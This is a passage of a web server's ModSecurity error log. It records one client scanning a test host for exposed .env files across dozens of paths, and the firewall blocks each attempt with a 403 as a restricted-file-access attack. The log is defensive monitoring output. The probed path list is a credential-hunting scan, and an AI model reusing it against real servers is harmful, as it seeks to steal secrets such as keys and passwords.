&quot;aZ6C-PjNQqDNAmB2zjqZ1AAAAAY&quot;]
[Wed Feb 25 06:04:56.159350 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ1AAAAAY&quot;]
[Wed Feb 25 06:04:56.159547 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ1AAAAAY&quot;]
[Wed Feb 25 06:04:56.223048 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /community/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ1QAAAAY&quot;]
[Wed Feb 25 06:04:56.223384 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ1QAAAAY&quot;]
[Wed Feb 25 06:04:56.223573 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ1QAAAAY&quot;]
[Wed Feb 25 06:04:56.268432 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ1gAAAAY&quot;]
[Wed Feb 25 06:04:56.268728 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ1gAAAAY&quot;]
[Wed Feb 25 06:04:56.268911 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ1gAAAAY&quot;]
[Wed Feb 25 06:04:56.437756 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWfAAAAAI&quot;]
[Wed Feb 25 06:04:56.438153 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWfAAAAAI&quot;]
[Wed Feb 25 06:04:56.438403 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWfAAAAAI&quot;]
[Wed Feb 25 06:04:56.496241 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backendfinaltest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWfQAAAAI&quot;]
[Wed Feb 25 06:04:56.496553 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWfQAAAAI&quot;]
[Wed Feb 25 06:04:56.496741 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWfQAAAAI&quot;]
[Wed Feb 25 06:04:56.534950 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ2QAAAAY&quot;]
[Wed Feb 25 06:04:56.535240 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ2QAAAAY&quot;]
[Wed Feb 25 06:04:56.535424 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ2QAAAAY&quot;]
[Wed Feb 25 06:04:56.608597 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ2gAAAAY&quot;]
[Wed Feb 25 06:04:56.608901 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ2gAAAAY&quot;]
[Wed Feb 25 06:04:56.609092 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ2gAAAAY&quot;]
[Wed Feb 25 06:04:56.667141 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ2wAAAAY&quot;]
[Wed Feb 25 06:04:56.667421 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ2wAAAAY&quot;]
[Wed Feb 25 06:04:56.667602 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ2wAAAAY&quot;]
[Wed Feb 25 06:04:56.748515 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /base_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWgAAAAAI&quot;]
[Wed Feb 25 06:04:56.748813 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWgAAAAAI&quot;]
[Wed Feb 25 06:04:56.749027 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWgAAAAAI&quot;]
[Wed Feb 25 06:04:56.794956 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /basic-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWgQAAAAI&quot;]
[Wed Feb 25 06:04:56.795222 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWgQAAAAI&quot;]
[Wed Feb 25 06:04:56.795392 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWgQAAAAI&quot;]
[Wed Feb 25 06:04:56.826910 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bgoldd/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWggAAAAI&quot;]
[Wed Feb 25 06:04:56.827180 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWggAAAAI&quot;]
[Wed Feb 25 06:04:56.827363 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWggAAAAI&quot;]
[Wed Feb 25 06:04:56.893449 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bitcoind/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWgwAAAAI&quot;]
